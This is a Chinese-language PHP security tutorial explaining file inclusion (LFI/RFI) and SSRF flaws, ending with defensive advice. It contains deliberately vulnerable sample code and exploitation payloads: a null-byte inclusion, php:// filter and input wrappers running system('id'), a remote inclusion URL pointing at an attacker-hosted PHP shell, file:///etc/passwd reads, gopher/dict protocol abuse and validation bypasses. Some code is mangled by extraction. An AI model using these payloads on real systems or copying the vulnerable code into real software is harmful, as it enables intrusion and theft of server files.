PHP安全漏洞之文件包含与SSRF攻击全解析

PHP教程 2025-08-26

目录

  • 前言
  • 第一部分:文件包含漏洞详解
    • 什么是文件包含漏洞
    • 文件包含漏洞类型
  • 第二部分:SSRF漏洞深入解析
    • 什么是SSRF?
    • 常见危险函数
    • SSRF绕过技巧
  • 防御SSRF的最佳实践
    • 结语

      前言

      在Web安全领域,PHP应用程序的安全问题一直备受关注。本文将深入探讨两种常见的PHP安全漏洞:文件包含漏洞和服务器端请求伪造(SSRF),帮助开发者理解漏洞原理、利用方式以及防御措施。

      第一部分:文件包含漏洞详解

      什么是文件包含漏洞

      文件包含漏洞是PHP应用程序中常见的安全问题,当开发者使用包含函数引入文件时,如果传入的文件名参数未经严格校验,攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。

      危险函数

      PHP中有四个主要的文件包含函数:

      • include()
      • include_once()
      • require()
      • require_once()

      文件包含漏洞类型

      1. 本地文件包含(LFI)

      利用方式:

      • 直接读取Flag文件
      • 通过PHP伪协议读取源代码
      • 写入PHP木马获取webshell

      示例代码:

      ?php
      $file = $_GET['file'];
      if(file_exists('/home/www/'.$file.'.php')) {
          include '/home/www/'.$file.'.php';
      } else {
          include '/home/www/'.'home.php';
      }
      ?
      

      利用方法:

      http://www.*exam**ple.com/demo1.php?file=flag.php%00
      

      2. PHP伪协议利用

      常用伪协议:

      file:// 协议:

      http://www.exa*mp**le.com/index.php?file=file://D:/phpStudy/WWW/flag.txt
      

      php://filter:

      http://examp*le**.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
      

      php://input:

      POST /index.php?file=php://input HTTP/1.1
      ...
      ?php system('id'); ?
      

      3. 远程文件包含(RFI)

      必要条件:

      • allow_url_fopen = On
      • allow_url_include = On

      示例代码:

      ?php
      $basePath = @$_GET['param'];
      require_once $basePath.'/action/m_share.php';
      ?
      

      利用方法:

      http://www.exa**mpl*e.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?
      

      防御措施

      1.白名单验证

      2.禁用危险配置:

      allow_url_fopen = Off
      allow_url_include = Off
      

      3.设置open_basedir

      4.严格校验用户输入

      5.避免动态包含

      第二部分:SSRF漏洞深入解析

      什么是SSRF?

      SSRF(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的安全漏洞。攻击者可以利用此漏洞访问外网无法访问的内部系统。

      常见危险函数

      1.file_get_contents()

      ?php
      if (isset($_POST['url'])) {
          $content = file_get_contents($_POST['url']);
          $filename = '/images/'.rand().'img1.jpg';
          file_put_contents($filename, $content);
          echo $_POST['url'];
          $img = "img src="".$filename.""/";
          echo $img;
      }
      ?
      

      2.fsockopen()

      ?php
      function GetFile($host, $port, $link) {
          $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
          if (!$fp) {
              echo "$errstr (error number $errno) n";
          } else {
              $out = "GET $link HTTP/1.1rn";
              $out .= "Host: $hostrn";
              $out .= "Connection: Closernrn";
              $out .= "rn";
              fwrite($fp, $out);
              $contents = '';
              while (!feof($fp)) {
                  $contents .= fgets($fp, 1024);
              }
              fclose($fp);
              return $contents;
          }
      }
      ?

      3.curl_exec()

      ?php
      if (isset($_POST['url'])) {
          $link = $_POST['url'];
          $curlobj = curl_init();
          curl_setopt($curlobj, CURLOPT_POST, 0);
          curl_setopt($curlobj, CURLOPT_URL,$link);
          curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
          $result = curl_exec($curlobj);
          curl_close($curlobj);
          $filename = './curled/'.rand().'.txt';
          file_put_contents($filename, $result);
          echo $result;
      }
      ?
      

      SSRF绕过技巧

      1. IP编码绕过

      使用xip.io域名:

      10.0.0.1.xip.io

      IP转换为10进制

      2. 协议变换

      Dict协议:

      dict://192.168.1.1:8080/test:dict

      Gopher协议:

      gopher://192.168.1.1/gopher

      File协议:

      file:///etc/passwd

      3. Gopher协议高级利用

      Gopher协议可以多种服务:

      FTP
      Telnet
      Redis
      Memcache

      Redis攻击示例:

      ?php
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_HEADER, 0);
      $output = curl_exec($ch);
      curl_close($ch);
      ?
      

      4. filter_var()绕过

      ?php
      $url = $_GET['url'];
      echo "Argument: ".$url. "n";
      if(filter_var($url, FILTER_VALIDATE_URL)) {
          $r = parse_url($url);
          var_dump($r);
          if (preg_match('/skysec.top$/', $r['host'])) {
              exec("curl -v -s ".$r['host']."", $a);
          } else {
              echo "Error: Host not allowed";
          }
      } else {
          echo "Error: Invalid URL";
      }
      ?
      

      绕过方法:

      http://exa*mp*le.*com/test.php?url=0://192.168.1.1.com:8080;skysec.top:80/
      

      5. 30x跳转绕过

      ?php
      $url = $_GET['url'];
      print $url;
      curl($url);
      function curl($url) {
          $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_HEADER, 0);
          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
          curl_exec($ch);
          curl_close($ch);
      }
      

      防御SSRF的最佳实践

      限制协议:只允许HTTP和HTTPS

      禁止访问内网IP

      设置URL白名单

      禁用CURLOPT_FOLLOWLOCATION

      使用DNS解析结果校验

      过滤返回信息

      结语

      文件包含和SSRF漏洞都可能对Web应用造成严重威胁。作为开发者,理解这些漏洞的原理和利用方式,才能更好地防御它们。安全是一个持续的过程,需要开发者保持警惕并不断更新知识。

      到此这篇关于PHP安全漏洞之文件包含与SSRF攻击全解析的文章就介绍到这了,更多相关PHP安全漏洞内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!

      您可能感兴趣的文章:
      • PHP文件读取漏洞剖析及防御方法
      • PHP文件上传安全:优化代码有效防范漏洞
      • 详解PHP渗透测试文件包含漏洞与利用
      • 你不知道的文件上传漏洞php代码分析
      • php 远程包含文件漏洞分析
      • 复现WordPress xmlrpc.php漏洞和SSRF的详细步骤